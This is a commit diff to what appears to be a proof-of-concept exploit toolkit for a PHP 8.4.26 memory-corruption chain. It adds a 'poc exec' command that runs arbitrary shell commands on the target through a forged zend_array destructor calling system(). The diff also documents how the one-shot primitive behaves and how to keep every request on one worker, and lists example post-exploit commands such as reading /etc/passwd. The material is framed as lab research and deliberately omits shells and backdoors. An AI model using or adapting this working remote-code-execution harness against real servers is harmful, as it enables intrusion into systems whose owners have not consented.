feat(cli): poc exec for repeatable command execution; document one-shot primitive and connection semantics

This commit is contained in:
ZSecurity
2026-10-24 14:07:07 +07:00
parent e6e2da6cec
commit fd0227d68d
4 changed files with 154 additions and 1 deletions
+23
View File
@@ -254,5 +254,28 @@ Two rules that follow:
- A readiness loop must be tested against a real local listener (`tests/test_lab_ready.py` runs a
throwaway socket server and asserts 200 → body, non-200 → None, closed port → fast None).
## 13. The RCE primitive is one-shot, and connection state is irrelevant
The payload lands as `pDestructor = zif_system` on a forged `zend_array`, invoked by
`zend_hash_destroy` while the request shuts down. Consequences that decide what "persistence"
can mean:
- It executes **once per request**, inside the worker, synchronously. `system()` blocks the child
until the command exits, so no background process is created unless the command itself forks one.
- There is no output channel: `system()` writes to the worker's stdout, which for mod_php under
Apache ends up in the error log, not the HTTP response. Anything you want to read must be written
to a path you can observe — here the `/out` bind mount.
- The forged array is consumed by the destroy pass, so a second command needs a fresh
A1 → B1 → A2 → B2 cycle (~2 s). There is no session to resume.
- **`Connection: close` on every request is fine.** Cross-request state that matters is the
*worker process* (globals + heap), not the TCP connection. Keep-alive buys nothing; landing on a
different child loses everything.
Measured: five sequential cycles on one worker completed 5/5 with no retries, and a counter file
in `/out` incremented 1→5. So repeated exploitation does not by itself kill the worker; the leak-only
stage does leave it in a bad state, which is why `poc leak` followed immediately by `poc exploit`
can need one retry.
+43 -1
View File
@@ -118,6 +118,7 @@ started. `poc exploit` refuses to run when nothing is listening and tells you to
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count |
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
@@ -166,7 +167,47 @@ A URL is not sufficient on its own for the chain to work. The technical precondi
In other words: a URL is convenient for your own lab published on a LAN or in a cloud network,
not a general-purpose remote exploit.
## "Persistence" — two different questions
**1. Connection persistence: not needed, and not used.** Every request is its own TCP connection
with `Connection: close`, chunked only where the body must bypass `post_max_size`. What has to
"persist" across A1 → B1 → A2 → B2 is the **worker process**, not the socket: `PS(id)` and
`PS(hash_serialize_verifier)` live in the child's globals and the heap layout is per-process. That
is why `--workers` exists — it occupies `N-1` prefork children so the four requests land on the
same one. A keep-alive connection would not help; a different child breaks the chain.
**2. Session persistence after RCE: there is none, by design of the primitive.** The payload is
`system()` reached as a `pDestructor` from `zend_hash_destroy` during request shutdown. That means:
- it fires **once per request**, synchronously, and blocks the worker until the command returns;
- there is **no stdin and no stdout** — output only exists if the command writes it somewhere
(which is why the proof goes to the mounted `/out`);
- the forged array is consumed at shutdown, so a second command needs the **whole chain again**
(~2 s per command), not a resumed session.
`poc exec` makes that cycle convenient — it wraps your command so stdout/stderr land in
`/out/.poc-exec`, runs the chain with retries, prints the output back, and returns a real exit code:
```bash
python -m poc exec --cmd 'id; hostname; uname -sr'
python -m poc exec --cmd 'ls -la /var/www/html'
python -m poc exec --cmd 'cat /etc/passwd | head -3'
```
Measured on this lab: **5 sequential `poc exec` cycles on the same worker, 5/5 exit 0, zero
retries**, with a counter file in `/out` incrementing 1→5 — so the worker survives repeated
cycles; what does not exist is a shared session. Anything that must survive between commands has
to be written to disk (`/out`) rather than held in memory.
For commands longer than the 200-byte carrier limit, write a script into `out/` and run
`python -m poc exec --cmd 'sh</out/c'`.
**Deliberately not shipped:** an interactive shell, a backdoor, auto-reconnect, or a dropper.
A persistent channel would be a listener inside the container plus a published port (lab-only, and
we control `docker run`), or a polling loop over the mounted volume — both are implant mechanics
rather than proof-of-concept mechanics, and they are out of scope for this artifact. If you need
one for an exercise, build it yourself against a target you own; the primitive here gives you
arbitrary `system()` and nothing else.
## Status — what was verified, and how
@@ -176,11 +217,12 @@ Every row below is a command that was actually run in this environment, with its
|---|---|---|
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
| Offline suite | `python -m unittest discover -s tests -t .` | 61 tests, all pass, 0 skipped |
| Offline suite | `python -m unittest discover -s tests -t .` | 66 tests, all pass, 0 skipped |
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
| Reproducibility | 3 fresh containers, one run each | 3/3 `uid=33(www-data)` |
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
+59
View File
@@ -1,4 +1,5 @@
import argparse
import copy
import hashlib
import json
import os
@@ -200,6 +201,8 @@ def exploit_once(args, prof):
with open(proof_path, "r", errors="replace") as fh:
proof = fh.read().strip()
if proof:
if getattr(args, "quiet", False):
return 0, proof
print(" RCE OK; proof %s:" % proof_path)
print(proof)
return 0, proof
@@ -336,6 +339,54 @@ def cmd_status(args):
return 0
EXEC_REMOTE = "/out/.poc-exec"
CARRIER_LIMIT = 200
def exec_wrapper(command, remote=EXEC_REMOTE):
return "{ " + command + "\n} > " + remote + " 2>&1"
def exec_fits(command, remote=EXEC_REMOTE):
return len(exec_wrapper(command, remote)) <= CARRIER_LIMIT
def cmd_exec(args):
if not require_target(args.host, args.port):
return 1
prof = profile_or_die(args)
if not exec_fits(args.cmd):
wrapped_len = len(exec_wrapper(args.cmd))
print("command is %d bytes after wrapping, carrier limit is %d"
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
return 2
local = os.path.join(ROOT, "out", ".poc-exec")
ns = copy.copy(args)
ns.cmd = exec_wrapper(args.cmd)
ns.proof = local
ns.quiet = True
if os.path.exists(local):
os.remove(local)
code = 1
for attempt in range(1, args.retries + 1):
try:
code, _ = exploit_once(ns, prof)
except leak.LeakError as exc:
print(" attempt %d failed: %s" % (attempt, exc))
code = 1
if code == 0:
break
time.sleep(0.5)
if os.path.exists(local):
with open(local, "r", errors="replace") as fh:
out = fh.read()
os.remove(local)
print(out.rstrip())
return 0 if code == 0 else 1
return 1
def cmd_offsets(args):
syms = elf.symbol_offsets(args.lib, ["zval_ptr_dtor", "zif_system", "zif_passthru"])
if args.json:
@@ -413,6 +464,14 @@ def build_parser():
common(p)
p.set_defaults(func=cmd_status)
p = sub.add_parser("exec")
common(p)
p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--cmd", required=True)
p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exec, resolve=True)
p = sub.add_parser("offsets")
p.add_argument("--lib", required=True)
p.add_argument("--json", action="store_true")
+29
View File
@@ -65,3 +65,32 @@ class UrlTargetTest(unittest.TestCase):
def test_explicit_flags_win_over_url(self):
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
self.assertEqual(ns.port, 7000)
class ExecWrapperTest(unittest.TestCase):
def test_wrapper_redirects_output_to_mount(self):
wrapped = cli.exec_wrapper("id")
self.assertIn("id", wrapped)
self.assertIn("/out/.poc-exec", wrapped)
self.assertTrue(wrapped.endswith("2>&1"))
self.assertIn(chr(10), wrapped)
def test_wrapper_survives_multiple_commands(self):
wrapped = cli.exec_wrapper("id; uname -a")
self.assertIn("id; uname -a", wrapped)
def test_fits_boundary(self):
self.assertTrue(cli.exec_fits("A" * 150))
self.assertFalse(cli.exec_fits("A" * 300))
def test_limit_matches_forge_carrier(self):
from poc import forge
self.assertEqual(cli.CARRIER_LIMIT, 200)
with self.assertRaises(ValueError):
forge.build_ht(0, 0, b"A" * (cli.CARRIER_LIMIT + 1))
def test_exec_command_parses_and_resolves(self):
ns = cli.resolve_target(parse(["exec", "--cmd", "id", "--url", "http://h:9/x.php"]))
self.assertIs(ns.func, cli.cmd_exec)
self.assertEqual(ns.cmd, "id")
self.assertEqual((ns.host, ns.port, ns.path), ("h", 9, "/x.php"))